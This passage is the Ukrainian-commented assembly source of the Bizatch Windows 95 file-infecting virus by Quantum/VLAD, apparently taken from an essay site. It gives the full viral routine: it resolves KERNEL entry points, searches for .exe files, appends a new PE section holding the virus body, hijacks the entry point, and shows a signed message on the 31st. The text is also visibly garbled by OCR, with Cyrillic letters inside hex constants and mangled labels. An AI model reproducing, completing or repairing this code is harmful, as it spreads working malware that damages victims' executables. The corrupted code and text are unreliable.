    ; то значення в цьому полубайте треба ще коригувати
    or ax, 3030h

    . Міняємо полубайти місцями, щоб регістр АН містив молодший
    . полубайт, а регістр AL - старший
    xchg al.ah

    ; Перевіримо. чи треба коригувати молодший полубайт,
    . якщо так - коректуємо

    cmp ah, 39h

    ja @ @ 4

    [Перевіримо, чи треба коригувати старший полубайт,
    ; якщо так - коректуємо
    @ @ 1:

    cmp al, 39h

    ja @ @ 3

    ; Збережемо значення за адресою ES: EDI
    @ @ 2:

    stosw

    ret

    . Коректуємо значення старшого полубайта
    @ @ 3:

    sub al, 30h

    add al, "A" -10

    jmp @ @ 2

    [Коректуємо значення молодшого полубайта
    @ @ 4:

    sub ah, 30h

    add ah, "A" -10

    jmp @ @ 1
    HexWriteS endp

    [Процедура перекладу слова в ASCII-формат для друку.
    [Значення, що знаходиться в регістрі АХ, буде записано
    ; в ASCII-форматі за адресою ES: EDI
    HexWrite16 proc

    ; Збережемо молодший байт з стека
    push ax

    ; 3агрузім старший байт в регістр А1_
    xchg al, ah

    . Переведемо старший байт в ASCII-формат
    call HexWrite8

    ; Відновимо молодший байт з стека
    pop ax

    Переведемо молодший байт в ASCII-формат

    call HexWrite8

    ret
    HexWrite-16 endp

    Процедура перекладу подвійного слова в ASCII-формат для друку.
    ; 3наченіе, що знаходиться в регістрі ЕАХ, буде записано
    ; в ASCII-форматі за адресою ES: EDI
    HexWrite32 proc

    . Збережемо молодше слово з стека
    push eax

    ; Завантажимо старше слово в регістр АХ
    shr eax, 16

    [Переведемо старше слово в ASCII-формат
    call HexWrite-16

    [Відновимо молодше слово з стека
    pop eax

    [Переведемо молодше слово в ASCII-формат

    call HexWrite-16

    ret
    HexWrite32 endp

    [Зробимо процедуру WndProc доступною ззовні
    public WndProc
    ends

    [Тут починається код вірусу. Цей код переписується з файлу
    ; у файл. Все описане вище - всього лише програма-носій
    vladseg segment para public "vlad"

    assume cs: vladseg
    vstart:

    ; Обчислимо поточну адресу

    call recalc
    recalc:

    pop ebp

    mov eax.ebp

    db 2Dh; Код команди SUB AX
    subme dd 30000h + (recalc-vstart)

    ; Збережемо адреса в стеку
    push eax

    [Обчислимо стартовий адреса вірусного коду
    sub ebp.offset recalc

    . Шукаємо KERNEL. Візьмемо другий відому нам точку KERNEL
    mov eax, [ebp + offset kern2]

    Перевіримо ключ. Якщо ключа немає, перейдемо до точки 1
    cmp dword ptr [eax], 5350FC9Ch
    jnz notkern2

    ; KERNEL знайдений, точка 2

    mov eax, [ebp + offset kern2]
    jmp movit

    ; Точка 2 не підійшла, перевіримо точку 1
    notkern2:

    ; Візьмемо адреса першої відомої нам точки KERNEL
    mov eax, [ebp + offset kern1]

    Перевіримо ключ, якщо немає ключа - виходимо
    cmp dword ptr [eax], 5350FC9Ch
    jnz nopayload

    ; KERNEL знайдений, точка 1

    mov eax, [ebp + offset kern1]

    ; KERNEL знайдений, адреса точки входу знаходиться в регістрі EAX
    movit:

    . Збережемо адреса KERNEL
    mov [ebp + offset kern]. eax
    eld

    ; 3апомнім поточну директорію
    lea eax, [ebp + offset orgdir]
    push eax
    push 255
    call GetCurDir

    ; Ініціалізіруем лічильник заражень

    mov byte ptr [ebp + offset countinfect], 0

    ; Шукаємо перший файл
    infectdir:

    lea eax, [ebp + offset win32_data_thang]

    push eax

    lea eax, [ebp + offset fname]

    push eax

    call FindFile

    ; Збережемо індекс для пошуку

    mov dword ptr [ebp + offset searchhandle], eax

    . Перевіримо, знайдений чи файл. Якщо файл не знайдено,
    . Міняємо директорію

    стр ЕАХ, -1

    jz foundnothing

    [Відкриємо файл для читання і запису
    gofile:

    push Про

    push dword ptr [ebp + offset fileattr]; FILE_ATTRIBUTE_NORMAL

    push 3; OPEN_EXISTING

    push 0

    push 0

    push 80000000h 40000000 h; GENERIC_READ + GENERIC_WRITE

    lea eax, [ebp + offset fullname]

    push eax

    call CreateFile

    . Збережемо описувач файлу

    mov dword ptr [ebp + offset ahandj.eax

    Перевіримо, не чи відбулася помилка.
    . Якщо помилка сталася, шукаємо Наступне фото

    стр ЕАХ, -1

    jz findnextone

    . Поставимо покажчик позиції читання/запису на полі
    ; із зсувом РЕ-заголовка

    push Про

    push Про

    push 3Ch

    push dword ptr [ebp + offset ahand]

    call SetFilePointer

    ; Вважаємо адреса РЕ-заголовка
    push Про

    lea eax, [ebp + offset bytesread]
    push eax
    push 4

    lea eax, [ebp + offset peheaderoffset]
    push eax

    push dword ptr [ebp + offset ahand]
    call ReadFile

    . Поставимо покажчик позиції читання/запису на початок РЕ-заголовка
    push Про
    push Про

    push dword ptr [ebp + offset peheaderoffset]
    push dword ptr [ebp + offset ahand]
    call SetFilePointer

    ; Вважаємо число байт, достатню для обчислення повного розміру
    ; РЕ-заголовка і таблиці об'єктів

    push Про

    lea eax, [ebp + offset bytesread]

    push eax

    push 58h

    lea eax, [ebp + offset peheader]

    push eax

    push dword ptr [ebp + offset ahand]

    call ReadFile

    [Перевіримо сигнатуру. Якщо її немає, закриваємо
    ; цей файл і шукаємо наступний

    cmp dword ptr [ebp + offset peheader], 00004550h;

    jnz notape

    . Перевіримо файлу на зараженість. Якщо файл заражений,
    ; то закриваємо цей файл і шукаємо наступний

    cmp word ptr [ebp + offset peheader +4 ch], OFOODh

    jz notape

    cmp dword ptr [ebp + offset 52], 4000000h

    jz notape

    [Поставимо покажчик позиції читання/запису на початок РЕ-заголовка
    push Про
    push Про

    push dword ptr [ebp + offset peheaderoffset]
    push dword ptr [ebp + offset ahand]
    call SetFilePointer

    ; Вважаємо весь РЕ-заголовок і таблицю об'єктів
    push Про

    lea eax, [ebp + offset bytesread]
    push eax

    push dword ptr [ebp + offset headersize]
    lea eax, [ebp + offset peheader]
    push eax

    push dword ptr [ebp + offset ahand]
    call ReadFile

    [Встановимо ознака зараження

    mov word ptr [ebp + offset peheader +4 ch], OFOODh

    [Знайдемо зсув таблиці об'єктів
    xor eax.eax

    mov ax, word ptr [ebp + offset NtHeaderSize]
    add eax, 18h
    mov dword ptr [ebp + offset ObjectTableoffset], eax

    [Обчислимо зміщення останнього (null) об'єкта в таблиці об'єктів
    mov esi, dword ptr [ebp + offset ObjectTableoffset]
    lea eax, [ebp + offset peheader]
    add esi, eax
    xor eax.eax

    mov ax, [ebp + offset numObj]
    mov ecx.40

    xor edx.edx

    mul ecx

    add esi.eax

    ; Збільшимо число об'єктів на 1

    inc word ptr [ebp + offset numObj]

    lea edi, [ebp + offset newobject]

    xchg edi.esi

    ; Обчислимо відносний віртуальну адресу (Relative Virtual Address
    ; або RVA) нового об'єкта

    mov eax, [edi-5 * 8 +8]

    add eax, [edi-5 * 8 +12]

    mov ecx.dword ptr [ebp + offset objalign]

    xor edx.edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp + offset RVA], eax

    ; Обчислимо фізичний розмір нового об'єкта
    mov ecx.dword ptr [ebp + offset filealign]
    mov eax.vend-vstart
    xor edx.edx
    div ecx
    inc eax
    mul ecx
    mov dword ptr [ebp + offset physicalsize], eax

    . Обчислимо віртуальний розмір нового об'єкта
    mov ecx.dword ptr [ebp + offset objalign]
    mov eax.vend-vstart + tOOOh
    xor edx.edx
    div ecx
    inc eax
    mul ecx
    mov dword ptr [ebp + offset virtualsize], eax

    ; Обчислимо фізична зсув нового об'єкта
    mov eax, [edi-5 * 8 +20]
    add eax, [edi-5 * 8 +16]
    mov ecx.dword ptr [ebp + offset filealign]
    xor edx.edx
    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp + offset physicaloffset], eax

    [оновити розмір образу (розмір в пам'яті) файлу

    mov eax, vend-vstart 1000 h

    add eax, dword ptr [ebp + offset imagesize]

    mov ecx, [ebp + offset objalign]

    xor edx.edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp + offset imagesize], eax

    . скопіюємо новий об'єкт до таблиці об'єктів

    mov ecx, 10

    rep movsd

    [Обчислимо точку входу RVA

    mov eax.dword ptr [ebp + offset RVA]

    mov ebx.dword ptr [ebp + offset entrypointRVA]

    mov dword ptr [ebp + offset entrypointRVA], eax

    sub eax.ebx

    add eax, 5

    [Встановимо значення, необхідне для повернення в носій
    mov dword ptr [ebp + offset subme], eax

    [Поставимо покажчик позиції читання/запису на початок РЕ-заголовка
    push Про
    push Про

    push dword ptr [ebp + offset peheaderoffset]
    push dword ptr [ebp + offset ahand]
    call SetFilePointer

    [Запишемо РЕ-заголовок і таблицю об'єктів у файл
    push Про

    lea eax, [ebp + offset bytesread]
    push eax

    push dword ptr [ebp + offset headersize]
    lea eax, [ebp + offset peheader]
    push eax

    push dword ptr [ebp + offset ahand]
    call WriteFile

    [Збільшимо лічильник заражень

    inc byte ptr [ebp + offset countinfect]

    [Поставимо покажчик позиції читання/запису
    ; з фізичного зміщення нового об'єкта

    push Про

    push Про

    push dword ptr [ebp + offset physicaloffset]

    push dword ptr [ebp + offset ahand]

    call SetFilePointer

    ; 3апішем тіло вірусу в новий об'єкт
    push Про

    lea eax, [ebp + offset bytesread]
    push eax

    push vend-vstart
    lea eax, [ebp + offset vstart]
    push eax

    push dword ptr [ebp + offset ahand]
    call WriteFile

    [Закриємо файл
    notape:

    push dword ptr [ebp + offset ahand]

    call CloseFile

    [Перехід до наступного файлу
    findnextone:

    [Перевіримо, скільки файлів заразили: якщо 3,
    ; то виходимо, якщо менше - шукаємо наступний

    cmp byte ptr [ebp + offset countinfect], 3

    jz outty

    ; Шукаємо Наступне фото

    lea eax, [ebp + offset win32_data_thang]
    push eax

    push dword ptr [ebp + offset searchhandle]
    call FindNext

    . Якщо файл знайдено, переходимо до зараження
    or eax.eax
    jnz gofile

    ; Сюди потрапляємо, якщо файл не знайдено
    foundnothing:

    ; Змінимо директорію
    Хог еах.еах

    lea edi, [ebp + offset tempdir]
    mov ecx, 256/4
    rep stosd

    lea edi, [ebp + offset tempdirl]
    mov ecx.256/4
    rep stosd

    Отримаємо поточну директорію
    lea esi, [ebp + offset tempdir]
    push esi
    push 255
    call GetCurDir

    . Змінимо директорію на "."

    lea eax, [ebp + offset dotdot]

    push eax

    call SetCurDir

    ; Отримаємо поточну директорію
    lea edi, [ebp + offset tempdirl]
    push edi
    push 255
    call GetCurDir

    Перевіримо, чи це коренева директорія. Якщо так, то виходимо
    mov есх.256/4
    rep cmpsd
    jnz infectdir

    ; "3аметаем сліди" і виходимо до програми-носій
    outty:

    ; Повернемося в оригінальну поточну директорію
    lea eax, [ebp + offset orgdir]
    push eax
    call SetCurDir

    Отримаємо поточну дату і час

    lea eax, [ebp + offset systimestruct]

    push eax
    call GetTime

    Перевіримо число. Якщо це 31-е, видаємо повідомлення
    cmp word ptr [ebp + offset day], 31
    jnz nopayload

    . Повідомлення для користувача

    push 1000h; MB_SYSTEMMODAL

    lea eax, [ebp + offset boxtitle]

    push eax

    lea eax, [ebp + offset boxmsg]

    push eax

    push 0

    call MsgBox

    ; Вихід у програму-носій
    nopayload:

    pop eax

    jmp eax

    ; Якщо KERNEL буде виявлений, його зміщення буде записано
    kern dd OBFF93B95h

    ; 3наченія KERNEL, відомі нам
    kern1 dd OBFF93B95h
    kern2 dd OBFF93C1Dh

    ; Читання поточній директорії
    GetCurDir:

    ; 3апішем в стек значення для отримання поточної
    директорії і викличемо KERNEL

    push OBFF77744h

    jmp [ebp + offset kern]

    . Установка поточної директорії
    SetCurDir:

    ; 3апішем в стек значення для встановлення поточної
    директорії і викличемо KERNEL

    push OBFF7771Dh

    jmp [ebp + offset kern]

    [Отримання часу та дати
    GetTime:

    Перевіримо, який KERNEL працює
    cmp [ebp + offset kern], OBFF93B95h
    jnz gettimekern2

    ; 3апішем в стек значення для отримання
    ; часу та дати і викличемо KERNEL

    push OBFF9DOB6h

    jmp [ebp + offset kern]
    gettimekern2:

    ; 3апішемії в стек значення для отримання
    ; часу та дати і викличемо KERNEL

    push OBFF9D-l4Eh

    jmp [ebp + offset kern]

    ; Висновок повідомлення
    MsgBox:

    . Запишемо в стек значення для виведення повідомлення та викличемо KERNEL
    push OBFF638D9h
    jmp [ebp + offset kern]

    . Пошук першого файлу
    FindFile:

    ; 3апішем в стек значення для пошуку першого файлу
    ; і викличемо KERNEL

    push OBFF77893h

    jmp [ebp + offset kern]

    ; Пошук наступного файлу
    FindNext:

    ; 3апішем в стек значення для пошуку
    [наступного файлу і викличемо KERNEL

    push OBFF778CBh

    jmp [ebp + offset kern]

    [Відкриття/створення файлу
    CreateFile:

    ; 3апішем в стек значення для відкриття/створення файлу
    ; і викличемо KERNEL

    push OBFF77817h

    jmp [ebp + offset kern]

    [Установка покажчика читання/запису
    SetFilePointer:

    ; 3апішем в стек значення для встановлення
    . покажчика читання/запису файлу і викличемо KERNEL

    push OBFF76FAOh

    jmp [ebp + offset kern]

    ; Читання з файлу
    ReadFile:

    ; 3апішем в стек значення для читання з файлу і викличемо KERNEL
    push OBFF75806h
    jmp [ebp + offset kern]

    ; 3апісь в файл
    WriteFile:

    ; 3апішем в стек значення для запису у файл і викличемо KERNEL
    push OBFF7580Dh
    jmp [ebp + offset kern]

    ; 3акритіе файлу
    CloseFile:

    ; 3апішем в стек значення для закриття файлу і викличемо KERNEL
    push OBFF7BC72h
    jmp [ebp + offset kern]

    ; Лічильник заражень
    countinfect db 0

    Використовується для пошуку файлів
    win32_data_thang:

    fileattr dd 0
    createtime dd 0,0
    lastaccesstime dd 0,0
    lastwritetime dd 0,0
    filesize dd 0,0

    resv dd 0,0

    fullname db 256 dup (0)

    realname db 256 dup (0)

    ; Назва повідомлення, що виводиться 31-го числа
    boxtitle db "Bizatch by Quantum/VLAD", 0

    .- Повідомлення, що виводиться 31-го числа
    boxmsg db "The taste of fame just got tastier!", Odh

    db "VLAD Australia does it again with the world" s first Win95 Virus "

    db Odh.Odh

    db 9. "From the old school to the new.". Odh.Odh

    db 9, "Metabolis", Odh

    db 9, "Qark", Odh

    db 9, "Darkman", Odh

    db 9, "Quantum", Odh

    db 9, "CoKe", 0
    messagetostupidavers db "Please note: the name of this virus is [Bizatch] "

    db "written by Quantum of VLAD", 0

    Дані про директоріях
    orgdir db 256 dup (0)
    tempdir db 256 dup (0)
    tempdirl db 256 dup (0)

    Використовується для зміни директорії
    dotdot db ".", 0

    Використовується для отримання часу/дати
    systimestruct:

    dw 0,0,0
    day dw 0

    dw 0,0,0,0

    ; Індекс для пошуку файлів
    searchhandle dd Про

    ; Маска для пошуку
    fname db "*. exe", 0

    ; Описувач відкритого файлу
    ahand dd Про

    ; Зсув РЕ-заголовка у файлі
    peheaderoffset dd Про

    [Зсув таблиці об'єктів
    ObjectTableoffset dd Про

    [Кількість записаних/лічених байт при роботі з файлом
    bytesread dd Про

    . Новий об'єкт
    newobject:

    oname db ". vlad", 0,0,0
    virtualsize dd 0
    RVA dd 0

    physicalsize dd 0
    physicaloffset dd 0
    reserved dd 0,0,0
    objectflags db 40h, 0,0, OCOh

    Дані, необхідні для зараження файлу
    peheader:

    signature dd 0
    cputype dw 0
    numObj dw 0
    db 3 * 4 dup (0)
    NtHeaderSize dw 0
    Flags dw 0
    db 4 * 4 dup (0)
    entrypointRVA dd 0
    db 3 * 4 dup (0)
    objalign dd 0
    filealign dd 0
    db 4 * 4 dup (0)
    imagesize dd 0
    headersize dd 0

    ; 0бласть пам'яті для читання залишку РЕ-заголовка і таблиці об'єктів
    vend:

    db-lOOOh dup (0)
    ends
    end vstart

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status